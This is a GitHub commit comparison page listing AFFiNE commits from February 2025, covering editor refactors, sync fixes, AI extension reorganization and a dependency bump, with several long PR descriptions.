Compare commits

...

1334 Commits

Author SHA1 Message Date
zzj3720
9bee2cb0fa fix(editor): improve string conversion logic for checkbox property
- Add a FALSE_VALUES set containing various falsy string representations

- Support Chinese negation terms like "否", "不", "错", etc.

- Optimize the implementation of cellFromString method
2025-02-26 00:11:36 +08:00
zzj3720
1addd17d64 fix(editor): table block supports parsing rich text 2025-02-25 18:52:13 +08:00
darkskygit
842c39c3be feat(native): doc loader for common native (#9941) 2025-02-25 07:50:56 +00:00
EYHN
26674b0cb8 fix(core): fallback when loading share page (#10428) 2025-02-25 07:35:58 +00:00
EYHN
cafff4e0eb fix(nbstore): reduce unnecessary sync (#10426) 2025-02-25 07:21:46 +00:00
fundon
abc3f9f23f chore(editor): bump @floating-ui/dom to 1.6.13 (#10425) 2025-02-25 07:06:27 +00:00
Brooooooklyn
5dbffba08d feat(native): media capture (#9992) 2025-02-25 06:51:56 +00:00
EYHN
2ec7de7e32 fix(core): add linked doc button (#10417) 2025-02-25 13:03:56 +08:00
liuyi
e5e5c0a8ba perf(core): only full sync before exporting (#10408) 2025-02-25 04:41:56 +00:00
EYHN
c644a46b8d fix(nbstore): local doc update lost (#10422) 2025-02-25 04:26:49 +00:00
Peng Xiao
7e892b3a7e fix(core): unused blobs query (#10399) 2025-02-25 10:58:43 +08:00
JimmFly
848145150d fix(core): close popover after successful invite in member editor (#10388) 2025-02-25 09:51:22 +08:00
JimmFly
dee6be11fb fix(core): reorder plan card action button conditions (#10387) 2025-02-25 09:51:10 +08:00
JimmFly
abda70d2c8 fix(core): fix permission checks for export workspace (#10401) 2025-02-25 09:50:43 +08:00
Saul-Mirone
40104f2f87 refactor(editor): remove unused any convension (#10410) 2025-02-24 15:57:49 +00:00
fundon
162b7adc1b fix(editor): should check text length and stop event propagation when adding a link (#10391) 2025-02-24 11:10:05 +00:00
Saul-Mirone
6289981fd1 refactor(editor): optimize extension register and effects (#10406)
Key Changes:

1. **Code Reorganization and Consolidation**
   - Created new centralized extension management through new files:
     - `enableEditorExtension` in `extensions/entry/enable-editor.ts`
     - `enablePreviewExtension` in `extensions/entry/enable-preview.ts`
   - Removed several spec-related files that are now consolidated:
     - Removed `specs/edgeless.ts`
     - Removed `specs/page.ts`
     - Removed `specs/preview.ts`

2. **Template Management**
   - Added new `register-templates.ts` file to handle template registration
   - Moved template registration logic from `specs/edgeless.ts` to this new file
   - Templates now include both edgeless and sticker templates

3. **Extension Management Changes**
   - Simplified extension enabling process through new centralized functions
   - `enableEditorExtension` now handles both page and edgeless modes
   - `enablePreviewExtension` consolidates preview-related extensions
   - Removed duplicate code for extension management

4. **Preview Functionality Updates**
   - Streamlined preview spec management
   - Consolidated footnote configuration
   - Improved theme and preview extension handling

5. **Dependencies and Effects**
   - Updated how effects are registered and managed
   - Simplified initialization process in `index.ts`
   - More organized approach to handling framework providers

The main theme of this PR appears to be code consolidation and simplification, moving from multiple specialized files to more centralized, reusable extension management. This should make the codebase more maintainable and reduce duplication while keeping the same functionality.

The changes primarily affect the editor's extension system, preview functionality, and template management, making these systems more modular and easier to maintain.
2025-02-24 10:37:59 +00:00
EYHN
0e581c915c feat(core): add resetSync button (#10404) 2025-02-24 10:22:34 +00:00
EYHN
59a791fe1f fix(nbstore): fix doc sync logic (#10400) 2025-02-24 10:22:34 +00:00
donteatfriedrice
378bb3795d refactor(editor): use doc title and id as snapshot file name (#10397)
[BS-2549](https://linear.app/affine-design/issue/BS-2549/snap-shot-导出建议使用文档名称作为文件名,而不是一个-id)
2025-02-24 09:32:32 +00:00
Saul-Mirone
60b994f38b refactor(editor): modular custom specs (#10398)
Key Changes:

1. **Removal of Scroll Anchoring Widget**
- Removed the scroll anchoring widget import and its related implementation from `blocksuite/affine/block-root/src/common-specs/widgets.ts`

2. **Enhanced React-Lit Integration**
- Added `ReactWebComponent` type export in `packages/frontend/component/src/lit-react/index.ts`
- Refactored text renderer component to use React integration:
  - Added React import and created `LitTextRenderer` component using `createReactComponentFromLit`
  - Moved the component declaration to a more appropriate location

3. **AI Feature Flag Integration**
- Added feature flag check for AI functionality in `enableAIExtension`
- Only enables AI extensions if the `enable_ai` flag is true

4. **Component Restructuring**
- Moved several components and utilities to dedicated extension files
- Consolidated Lit adapter implementations
- Removed direct widget imports in favor of extension-based approach
- Reorganized editor component structure for better maintainability

5. **File Reorganization**
- Removed `specs/custom/spec-patchers.ts` and distributed its functionality across multiple extension files
- Created new extension files for various features like:
  - Attachment embed views
  - Doc mode service
  - Doc URL handling
  - Edgeless clipboard
  - Mobile support
  - Note configuration
  - Various service patches (notification, peek view, quick search, etc.)

6. **Mobile Support Improvements**
- Refactored mobile extension enablement to be more modular
- Moved mobile-specific widget omissions into a dedicated extension

7. **Type System Improvements**
- Added more specific type imports for editors and components
- Enhanced type safety across the codebase

This PR appears to be a significant refactoring effort focused on:
1. Improving code organization through better separation of concerns
2. Enhancing the integration between React and Lit components
3. Adding feature flag support for AI capabilities
4. Making the codebase more maintainable and modular
5. Improving mobile support
6. Strengthening type safety

The changes suggest a move towards a more extension-based architecture, where functionality is more clearly separated into distinct modules rather than being centralized in larger files.
2025-02-24 08:30:01 +00:00
donteatfriedrice
1b2a4377fd feat(editor): update footnote node style and config (#10392)
[BS-2581](https://linear.app/affine-design/issue/BS-2581/优化-footnote-node-正文样式)
2025-02-24 08:15:04 +00:00
CatsJuice
8b4175c44d chore(core): update free pricing plan description (#10393) 2025-02-24 07:37:30 +00:00
EYHN
da7ab51e2d fix(core): remove unnecessary doc loading (#10395) 2025-02-24 07:22:05 +00:00
EYHN
a59e640423 fix(nbstore): leave awareness when destroy (#10394) 2025-02-24 07:22:04 +00:00
doouding
9bb74bce6b fix: drag bookmark from note to edgeless (#10389) 2025-02-24 06:13:05 +00:00
doouding
a0a97d0751 fix: drag connector and group element (#10385) 2025-02-24 06:13:05 +00:00
forehalo
b9e3fc54fd fix(server): include check of prerelease versions (#10386) 2025-02-24 04:44:44 +00:00
forehalo
b71fe291d1 fix(core): version control session (#10384) 2025-02-24 04:44:43 +00:00
forehalo
f02b57d58b fix(server): too much redundant updates events (#10383) 2025-02-24 04:44:43 +00:00
forehalo
2e0f0c624a chore: set base version to 0.20 (#10382) 2025-02-24 04:44:42 +00:00
Saul-Mirone
9435118ef1 refactor(editor): optimize ai code structure (#10381)
Let me analyze this diff and provide a clear description of the changes.

This PR introduces several significant changes focused on AI integration and code organization in the AFFiNE codebase:

1. **Enhanced SpecBuilder Functionality** (`blocksuite/affine/shared/src/utils/spec/spec-builder.ts`):
   - Added method chaining by returning `this` from `extend`, `omit`, and `replace` methods
   - Added new utility methods:
     - `hasAll(target: ExtensionType[])`: Checks if all specified extensions exist
     - `hasOneOf(target: ExtensionType[])`: Checks if at least one specified extension exists

2. **AI Extensions Modularization**:
   - Split the large AI-related code into separate modular files under `packages/frontend/core/src/blocksuite/ai/extensions/`:
     - `ai-code.ts`: Code block AI integration
     - `ai-edgeless-root.ts`: Edgeless mode AI features
     - `ai-image.ts`: Image block AI capabilities
     - `ai-page-root.ts`: Page root AI integration
     - `ai-paragraph.ts`: Paragraph block AI features
     - `enable-ai.ts`: Central AI extension enablement logic

3. **Widget Improvements**:
   - Enhanced `AffineAIPanelWidget` and `EdgelessCopilotWidget` with proper widget extensions
   - Moved widget-specific extensions into their respective files
   - Added proper type definitions and component registrations

4. **Code Organization**:
   - Simplified exports in `index.ts`
   - Better separation of concerns between different AI-related components
   - More modular approach to AI feature integration

5. **AI Integration Architecture**:
   - Introduced a new `enableAIExtension` function that handles:
     - Replacing standard blocks with AI-enhanced versions
     - Conditional enabling of AI features based on the current spec configuration
     - Extension of AI chat capabilities

The changes primarily focus on improving code organization, maintainability, and the architecture of AI feature integration in the AFFiNE editor. The modularization will make it easier to maintain and extend AI capabilities across different block types and editor modes.
2025-02-24 04:30:08 +00:00
doodlewind
67889d9364 fix(editor): turbo renderer stale frame lag on zooming (#10376)
Before:

https://github.com/user-attachments/assets/593e91a3-042e-4619-93a0-dca21fa942aa

After:

https://github.com/user-attachments/assets/779d7582-f7b2-4135-a97a-d1f65c7cb467

This is only a bug fix that ensures correct baseline rendering result. There'll be more optimizations specific for zooming TBD.
2025-02-24 03:49:04 +00:00
pengx17
5fe4b2b3e4 fix(core): remove tag page semicolon (#10379) 2025-02-24 03:14:06 +00:00
donteatfriedrice
2d41c2ff8d chore: bump theme (#10358) 2025-02-24 10:08:47 +08:00
Flrande
9fd1ca1c09 refactor(editor): remove inline editor keyboard utils and add markdown property in rich-text (#10375) 2025-02-23 19:57:56 +08:00
Saul-Mirone
eef2f004b8 refactor(editor): reorg blocksuite ai code (#10372)
### TL;DR

Relocated AI-related code from `presets` directory to a dedicated `ai` directory for better organization and maintainability.

### What changed?

- Moved AI-related code from `blocksuite/presets/ai` to `blocksuite/ai`
- Relocated AI chat block code from `blocksuite/blocks` to `blocksuite/ai/blocks`
- Updated imports across files to reflect new directory structure
- Renamed `registerBlocksuitePresetsCustomComponents` to `registerAIEffects`
- Fixed path references in GitHub workflow file

### How to test?

1. Build and run the application
2. Verify AI functionality works as expected:
   - Test AI chat blocks
   - Check AI panel functionality
   - Verify AI copilot features
   - Ensure AI-related UI components render correctly

### Why make this change?

This restructuring improves code organization by:
- Giving AI features a dedicated directory that better reflects their importance
- Making the codebase more maintainable by grouping related AI functionality
- Reducing confusion by removing AI code from the more general `presets` directory
- Creating clearer boundaries between AI and non-AI related code
2025-02-23 09:26:00 +00:00
doodlewind
542f759ffb refactor(editor): add panning/zooming field in viewport event (#10373) 2025-02-23 08:58:15 +00:00
doodlewind
22f9db63bc refactor(editor): invalidate support in turbo renderer (#10368)
refactor(editor): invalidate support in turbo renderer

- Added `invalidate()` method to clear cache and canvas
- Simplified debug pane controls to single invalidate button
- Replaced layout update with refresh debounce on block updates
- Improved cache handling and bitmap drawing flow

refactor: refresh after invalidate
2025-02-23 03:23:20 +00:00
Saul-Mirone
f8cabe8bb1 refactor: move ai-item components to frontend core (#10369)
### TL;DR

Relocated AI item components from BlockSuite to the frontend codebase and updated related imports.

### What changed?

- Moved AI item components from `blocksuite/affine/components/src/ai-item` to `packages/frontend/core/src/blocksuite/presets/ai/_common/components/ai-item`
- Updated all imports referencing the old AI item component location to point to the new location
- Removed AI item exports from BlockSuite's package.json and effects registration
- Added AI item effects registration to frontend presets

### How to test?

1. Verify AI functionality works as expected in:
   - Chat panels
   - AI toolbars
   - Edgeless copilot
   - Slash menu
2. Confirm no AI-related console errors appear
3. Test error handling scenarios (unauthorized, payment required, network errors)

### Why make this change?

This change consolidates AI-related components into the frontend codebase where they are primarily used, rather than keeping them in BlockSuite. This improves code organization by placing components closer to their implementation and usage, while reducing unnecessary coupling between packages.
2025-02-22 17:03:07 +00:00
Saul-Mirone
3ff6176306 refactor(editor): extract ai widgets and tool (#10367)
### TL;DR
Moved AI-related components from BlockSuite core to the frontend presets directory to better organize AI functionality.

### What changed?
- Relocated AI panel, copilot tool, and related components from BlockSuite core to frontend presets
- Moved AI widget definitions and registrations to the presets directory
- Updated imports to reference new component locations
- Removed AI component registrations from core effects.ts
- Added AI component registrations to presets effects.ts

### How to test?
1. Verify AI panel functionality works as expected in the editor
2. Test copilot tool interactions in edgeless mode
3. Confirm AI suggestions and responses still appear correctly
4. Check that AI toolbar buttons and menus function properly
5. Ensure AI error states and loading indicators display correctly

### Why make this change?
This restructuring improves code organization by moving AI-specific functionality out of the core BlockSuite library and into the frontend presets where it more logically belongs. This separation of concerns makes the codebase more maintainable and allows for better modularity of AI features.
2025-02-22 13:58:40 +00:00
Yifeng Wang
963cc2e40e refactor(editor): reduce redundant canvas refresh on init (#10364) 2025-02-22 21:58:13 +08:00
Saul-Mirone
04ed2bdab7 refactor(editor): remove edgeless service in ai widgets (#10361) 2025-02-22 08:55:44 +00:00
renovate
77d31ea25a chore: bump up eslint-plugin-unicorn version to v57 (#10234)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-unicorn](https://redirect.github.com/sindresorhus/eslint-plugin-unicorn) | [`^56.0.1` -> `^57.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-unicorn/56.0.1/57.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-unicorn/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-unicorn/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-unicorn/56.0.1/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-unicorn/56.0.1/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>sindresorhus/eslint-plugin-unicorn (eslint-plugin-unicorn)</summary>

### [`v57.0.0`](https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/compare/v56.0.1...v57.0.0)

[Compare Source](https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/compare/v56.0.1...v57.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjcuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2Ny4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-22 05:48:13 +00:00
Saul-Mirone
7945e1ed9f refactor: organize component registration by category (#10360)
### TL;DR
Reorganized component registration in the effects module by grouping related components into separate functions.

### What changed?
- Split the monolithic component registration into logical categories:
  - Root components (page, preview, edgeless)
  - Widgets (panels, toolbars, modals)
  - Edgeless toolbar components (tools, menus, buttons)
  - Edgeless panel components (alignment, color, style)
  - Edgeless editor components (text editors, label editors)
  - AI components (panels, placeholders)
  - Misc components (modals, loading, previews)
- Added descriptive comments for each component group
- Maintained all existing component registrations while improving code organization

### How to test?
1. Launch the application
2. Verify all components render correctly:
   - Check page/preview/edgeless views
   - Test toolbar functionality
   - Verify panels and modals work
   - Ensure AI features function properly
   - Validate edgeless editor capabilities

### Why make this change?
Improves code maintainability and readability by:
- Grouping related components together
- Making it easier to find and modify specific component registrations
- Providing better structure for future component additions
- Reducing cognitive load when working with component registrations
2025-02-21 15:50:56 +00:00
donteatfriedrice
734ca154ae refactor(core): use image preview component in chat (#10357)
[BS-2421](https://linear.app/affine-design/issue/BS-2421/chat-block-and-chat-panel-input-render-images-时存在内存泄露风险)
2025-02-21 15:36:55 +00:00
Saul-Mirone
2cf9a8f286 refactor: reorganize specs and adapter extensions (#10359)
### TL;DR
Refactored `SpecProvider` singleton access pattern and reorganized adapter/extension code structure.

### What changed?
- Changed `SpecProvider.getInstance()` to `SpecProvider._` for cleaner singleton access
- Moved adapter/extension code from `_common` directory to dedicated `adapters` and `extensions` folders
- Consolidated adapter extensions into a single file
- Removed unused dependencies from package.json
- Deleted unnecessary schema files
- Extracted `MobileSpecsPatches` class into the mobile patching code
- Updated all references to use the new `SpecProvider._` accessor

### How to test?
- Verify all specs are properly registered and accessible via `SpecProvider._`
- Test adapter functionality for HTML, Markdown, Notion HTML and plain text
- Check mobile-specific features and patches work correctly
- Ensure preview functionality works in both page and edgeless modes

### Why make this change?
- Improves code organization by properly separating adapters and extensions
- Simplifies singleton access pattern
- Removes unnecessary dependencies and files
- Makes the codebase more maintainable by consolidating related functionality
2025-02-21 14:25:35 +00:00
L-Sun
72b751943c fix(editor): using click event instead of pointerDown event for page block (#10351)
Close [BS-2647](https://linear.app/affine-design/issue/BS-2647/ios返回手势会误触发focus导致弹起键盘)

### What Changes:
- Using `click` event instead of `pointerDown` event to handle selection logic in page block, because gestures on mobile devices can trigger the `pointerDown` event, causing the cursor to update and unexpectedly bring up the virtual keyboard.
2025-02-21 13:19:51 +00:00
akumatus
07cbf5affe fix(core): slash ask ai returns make it real action result (#10349)
Fix issue [AF-2252](https://linear.app/affine-design/issue/AF-2252).

## What Changed?
- Remove useless `generateAnswer` configuration for inline ask ai
- Refactor the common `updateAIPanelConfig` function
- Use empty string instead of meaningless `placeholder` string
- Remove unnecessary high-order function wrappers
2025-02-21 12:52:53 +00:00
Saul-Mirone
55651503df refactor(editor): extract root block (#10356)
Closes: [BS-2207](https://linear.app/affine-design/issue/BS-2207/move-root-block-to-affineblock-root)
2025-02-21 12:38:26 +00:00
EYHN
4a66ec7400 fix(nbstore): fix doc clock check logic (#10355) 2025-02-21 11:10:16 +00:00
liuyi
7d68aa5b2f chore(server): ignore erorr when join joint room (#10354) 2025-02-21 10:48:53 +00:00
CatsJuice
64370980b3 fix(core): ensure the divider between cloud and local is displayed correctly (#10352) 2025-02-21 10:27:53 +00:00
pengx17
6e399ce34b fix(core): unused blobs query (#10350)
The default limit is 100.
2025-02-21 10:14:00 +00:00
zzj3720
4d759766b9 fix(editor): adjust the style of the table block (#10348) 2025-02-21 09:32:01 +00:00
Peng Xiao
83669f8fbb fix(core): settings storage empty styles (#10313) 2025-02-21 17:19:53 +08:00
DarkSky
24fa58df52 fix: quota switch (#10347) 2025-02-21 17:18:30 +08:00
Peng Xiao
dff68b9aae fix(core): blocksuite editor runtime configs in correct timing (#10344) 2025-02-21 17:16:53 +08:00
Cats Juice
09cc5c392b refactor(core): new workspace selector and create dialog (#10323) 2025-02-21 17:16:38 +08:00
Saul-Mirone
22e4bd8c20 refactor: move image proxy middleware and adapter extensions (#10345)
### TL;DR
Moved image proxy middleware and adapter extensions to their respective packages and introduced a new spec provider for adapter registration.

### What changed?
- Relocated `defaultImageProxyMiddleware` from blocks to `@blocksuite/affine-block-image`
- Moved `PresentTool` from fragment-frame-panel to block-frame
- Created new adapter extension specs for HTML, Markdown, and Notion HTML
- Introduced a spec provider pattern for adapter registration
- Removed direct transformer references from RootService
- Updated imports across affected files to use new locations

### How to test?
1. Verify image proxy functionality works in exports and imports
2. Test HTML, Markdown, and Notion HTML adapters still function correctly
3. Confirm presentation mode works with the relocated PresentTool
4. Check that all file import/export operations continue to work as expected

### Why make this change?
This reorganization improves code modularity by placing features in their logical packages and introduces a more maintainable pattern for adapter registration. The spec provider pattern makes it easier to manage and extend adapter functionality while reducing coupling between components.
2025-02-21 09:01:57 +00:00
darkskygit
296d88f721 fix: ignore unknown charset (#10346) 2025-02-21 08:36:27 +00:00
EYHN
244d683d83 fix(nbstore): adjust doc sync logic (#10342) 2025-02-21 08:17:07 +00:00
Saul-Mirone
f3218ab3bc refactor(editor): rename presets to integration test (#10340) 2025-02-21 06:26:03 +00:00
L-Sun
f79324b6a1 chore(editor): update shadow of ask-ai-panel (#10336)
Close [PD-2343](https://linear.app/affine-design/issue/PD-2343/[ui]-ai-面板-shadow-改为-overlaypanelshadow)
2025-02-21 06:12:05 +00:00
Saul-Mirone
adcc6b578c refactor(editor): move editor components to frontend core (#10335)
### TL;DR
Moved editor components from BlockSuite presets to AFFiNE core and updated imports accordingly.

### What changed?
- Relocated `EdgelessEditor` and `PageEditor` components from BlockSuite presets to AFFiNE core
- Removed basic editor examples from playground
- Updated import paths across the codebase to reference new component locations
- Added editor effects registration in AFFiNE core
- Removed editor exports from BlockSuite presets

### How to test?
1. Launch the application
2. Verify both page and edgeless editors load correctly
3. Confirm editor functionality remains intact including:
   - Document editing
   - Mode switching
   - Editor toolbars and controls
   - Multiple editor instances

### Why make this change?
This change better aligns with AFFiNE's architecture by moving editor components closer to where they are used. It reduces coupling with BlockSuite presets and gives AFFiNE more direct control over editor customization and implementation.
2025-02-21 04:28:54 +00:00
fengmk2
7f833f8c15 fix(server): don't sync blob meta on workspace deleted event (#10334)
close CLOUD-128
2025-02-21 04:11:57 +00:00
JimmFly
785951bbfa fix(core): adjust copy link button styles (#10337)
close PD-2344
![CleanShot 2025-02-21 at 11 22 32@2x](https://github.com/user-attachments/assets/97d1052b-c900-47df-89ba-476787a28587)
![CleanShot 2025-02-21 at 11 22 08@2x](https://github.com/user-attachments/assets/2b455797-dfc8-4572-95ac-3ee8b33b0528)
2025-02-21 03:58:03 +00:00
fundon
19e9f970f4 fix(editor): block selected style in note under edgeless (#10326)
Related to: https://github.com/toeverything/AFFiNE/pull/9849

Currently missing selected style in note under edgeless.
<img width="860" alt="Screenshot 2025-02-20 at 20 51 12" src="https://github.com/user-attachments/assets/77d68cfb-13d0-4e09-a567-f2a30ba72db1" />
2025-02-21 03:43:54 +00:00
doodlewind
c362737441 perf(editor): reduce dom ops in viewport update (#10333) 2025-02-21 03:30:10 +00:00
EYHN
618042812b fix(nbstore): fix cloud awareness (#10320) 2025-02-21 11:11:10 +08:00
fengmk2
0ff7c5f897 fix(server): gen new request id on websocket event request (#10330)
After

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/22431b9a-30e8-48a3-8db6-de377671f9b7.png)
2025-02-21 02:00:58 +00:00
Saul-Mirone
b8dcb85007 refactor: move outline fragment to separate package (#10331)
### TL;DR

Moved outline functionality into a dedicated fragment package and updated vanilla-extract CSS dependency.

### What changed?

- Created new `@blocksuite/affine-fragment-outline` package
- Relocated outline-related code from presets to the new fragment package
- Updated imports across affected files to reference the new package location
- Upgraded `@vanilla-extract/css` dependency from 1.14.0/1.16.1 to 1.17.0
- Added necessary package configuration and TypeScript setup for the new fragment

### How to test?

1. Verify outline functionality works as expected in both desktop and mobile views
2. Check that outline panel, viewer, and mobile menu components render correctly
3. Ensure outline navigation and interactions continue to work
4. Confirm no regressions in outline-related features

### Why make this change?

This change improves code organization by isolating outline functionality into a dedicated package, following the modular architecture pattern. This makes the codebase more maintainable and allows for better separation of concerns. The vanilla-extract CSS upgrade ensures consistency across packages and provides access to the latest features and fixes.
2025-02-20 15:59:13 +00:00
Saul-Mirone
5ac15f12e6 refactor: replace editor container with editor host (#10328)
### TL;DR
Refactored editor access to use `EditorHost` instead of `AffineEditorContainer` and updated mode access through `DocModeProvider`.

### What changed?
- Changed editor property types from `AffineEditorContainer` to `EditorHost` across multiple components
- Updated mode access to use `DocModeProvider` service instead of direct editor mode access
- Modified editor references to use `editor.host` where appropriate
- Updated scroll and highlight utilities to work with `EditorHost`

### How to test?
1. Open a document in both page and edgeless modes
2. Verify outline panel functionality works as expected
3. Test outline viewer navigation and highlighting
4. Confirm mobile outline menu operates correctly
5. Check that frame panel and TOC features work in all modes

### Why make this change?
This change improves architectural consistency by using `EditorHost` directly and accessing mode through the proper service provider. This makes the code more maintainable and follows better dependency practices by using the correct abstraction levels.
2025-02-20 14:20:32 +00:00
akumatus
efe36161e8 fix(core): remove candidate doc chip suggestions (#10327)
Fix issue [AF-2247](https://linear.app/affine-design/issue/AF-2247).
2025-02-20 14:01:00 +00:00
akumatus
126677d7ad fix(core): no pop-ups if user click discard menu item (#10317)
Fix issue [BS-2628](https://linear.app/affine-design/issue/BS-2628).
2025-02-20 13:29:28 +00:00
Saul-Mirone
007bbabce4 refactor: move frame manager and panel to separate packages (#10324)
### TL;DR
Moved frame management functionality from `blocksuite/blocks` to `@blocksuite/affine-block-frame` package.

### What changed?
- Relocated `frame-manager.ts` from `blocksuite/blocks` to `@blocksuite/affine-block-frame`
- Added new dependencies to block-frame package: `@blocksuite/affine-block-surface` and `yjs`
- Updated imports across multiple components to reference frame manager from its new location
- Moved utility functions `areSetsEqual` and `isFrameBlock` into frame-manager file
- Replaced direct EdgelessRootService references with GfxController in frame panel components

### How to test?
1. Verify frame functionality works in edgeless mode
2. Test frame creation, selection, and manipulation
3. Confirm frame navigation and presentation modes operate correctly
4. Check that frame panel and toolbar interactions remain functional

### Why make this change?
This refactoring improves code organization by consolidating frame-related functionality into a dedicated package, making the codebase more modular and easier to maintain. It also reduces dependencies between packages and provides clearer boundaries for frame-related features.
2025-02-20 13:06:40 +00:00
doodlewind
64cc99354e refactor(editor): add zoom threshold for dom rendering fallback (#10322) 2025-02-20 11:45:19 +00:00
Saul-Mirone
1516903c77 refactor: move doc-title and ai-chat-block components (#10316)
### TL;DR
Moved doc title and AI chat block components to more appropriate locations while removing unused backlink functionality.

### What changed?
- Relocated doc title component from presets to affine-components
- Moved AI chat block from presets/blocks to blocks directory
- Removed unused backlink-related code and components
- Updated imports across files to reference new component locations
- Consolidated AI-related exports through a single entry point

### How to test?
1. Verify doc title still renders correctly in documents
2. Confirm AI chat functionality works as expected
3. Check that no backlink-related features are accessible
4. Ensure all AI features continue to work through the new import paths

### Why make this change?
This reorganization improves code organization by:
- Placing components closer to their related functionality
- Removing dead/unused code around backlinks
- Simplifying the import structure for AI-related features
- Making the codebase more maintainable by consolidating related components
2025-02-20 10:45:47 +00:00
EYHN
4f831732e1 fix(core): fix throw if aborted polyfill (#10321) 2025-02-20 10:32:02 +00:00
zzj3720
ef28e36441 fix(editor): data in the database will be completely overwritten in some cases (#10318) 2025-02-20 10:17:57 +00:00
doodlewind
7b1dfb7ee8 refactor(editor): reduce dom query per refresh (#10319) 2025-02-20 10:01:13 +00:00
Hwang
5fcc402280 style: update ios dark icon (#10312) 2025-02-20 08:01:32 +00:00
DarkSky
fa86f71853 feat(server): client version check (#9205)
Co-authored-by: forehalo <forehalo@gmail.com>
2025-02-20 15:50:22 +08:00
L-Sun
4fee2a9c4b chore(editor): update some widget styles (#10311) 2025-02-20 15:39:48 +08:00
fengmk2
b4097aef8e refactor(server): move bin content parser to doc reader (#10302) 2025-02-20 07:19:48 +00:00
Saul-Mirone
9f4311f654 refactor(editor): remove AbstractEditor type and feature flags in test (#10308) 2025-02-20 07:05:35 +00:00
darkskygit
13f1859cdf feat: allow retry with new message (#10307)
fix AF-1630
2025-02-20 06:07:53 +00:00
Flrande
50820482df fix(editor): auto focus after add inline latex (#10309)
https://github.com/user-attachments/assets/09e713ee-e600-464c-8614-d874d343cfb0

Close #10208
2025-02-20 05:52:06 +00:00
forehalo
ec67d30b27 chore(server): race condition during fixing doc owner (#10303) 2025-02-20 05:34:55 +00:00
forehalo
fd5897dbe6 chore(server): disable nightly subscriptions expirasion check (#10298) 2025-02-20 05:34:54 +00:00
liuyi
d490e767eb fix(server): wrong previous subscription check (#10306) 2025-02-20 13:33:49 +08:00
fundon
adc003862b fix(editor): image size and xywh when converting attachment to image (#10200)
In Edgeless, the image size should be read when converting attachment to image:

* fix `size`
* fix `xywh`
2025-02-20 05:16:21 +00:00
fengmk2
ff0ce1a962 fix(server): remove job on complete (#10305) 2025-02-20 04:39:05 +00:00
EYHN
5042d9f644 fix(nbstore): check before save empty update (#10304) 2025-02-20 04:24:50 +00:00
JimmFly
1d339c682b fix(core): adjust share menu and upgrade-to-team page style (#10299)
close PD-2330 PD-2331 AF-2238
2025-02-20 04:10:52 +00:00
doodlewind
b38abcb59c perf(editor): avoid recreation of Intl.Segmenter (#10295)
<img width="537" alt="image" src="https://github.com/user-attachments/assets/43e54d94-6228-4c26-b3d0-cf4725b251e4" />
2025-02-20 03:55:57 +00:00
Saul-Mirone
c3fc0a0d88 chore(editor): fix imports in legacy tests (#10300) 2025-02-20 03:30:05 +00:00
fengmk2
e0b2b2b33c fix(server): convert error type to lower case (#10301) 2025-02-20 03:04:21 +00:00
zzj3720
ba91b36cc3 feat(editor): add block creation tracking (#10294)
fix: PD-2090
2025-02-20 02:25:29 +00:00
github-actions[bot]
a0e3f9909c chore(i18n): sync translations (#10184)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2025-02-20 02:25:19 +00:00
EYHN
8f6ce2c3b4 fix(nbstore): fix doc clock comparison (#10296) 2025-02-20 10:10:17 +08:00
zzj3720
d8435421d2 fix(editor): improve table selection in edgeless mode (#10293)
fix: BS-2614, BS-2560
2025-02-20 01:50:40 +00:00
doodlewind
676ccc9094 refactor(editor): allow force refresh in worker renderer (#10289) 2025-02-19 14:23:45 +00:00
Saul-Mirone
091ba7bb51 chore: remove createEmptyEditor legacy test misc (#10291) 2025-02-19 21:38:00 +08:00
donteatfriedrice
2b11941c0e chore: bump theme (#10290) 2025-02-19 11:37:19 +00:00
forehalo
02f567f2c0 chore(core): better doc action error message (#10288) 2025-02-19 10:38:38 +00:00
donteatfriedrice
54b7515167 fix(editor): log when export blob failed (#10287) 2025-02-19 10:06:50 +00:00
CatsJuice
e726df9a1b fix(core): prevent all-docs header from overlapping scrollbar (#10270) 2025-02-19 09:24:49 +00:00
CatsJuice
926b35c91f chore(core): temporarily hide editor starter-bar on mobile (#10237) 2025-02-19 09:10:26 +00:00
JimmFly
b456feee63 fix(core): unexpected redirect to expired page after accepting invitation (#10257)
Co-authored-by: EYHN <cneyhn@gmail.com>
2025-02-19 09:10:12 +00:00
JimmFly
487158b9ca fix(core): incorrect permissions displayed in member management (#10269) 2025-02-19 16:58:06 +08:00
EYHN
5b768d9091 fix(nbstore): close full blob sync for iOS (#10286) 2025-02-19 16:57:32 +08:00
Saul-Mirone
90b0982dd3 fix(editor): hide edgeless only note in synced doc block (#10277)
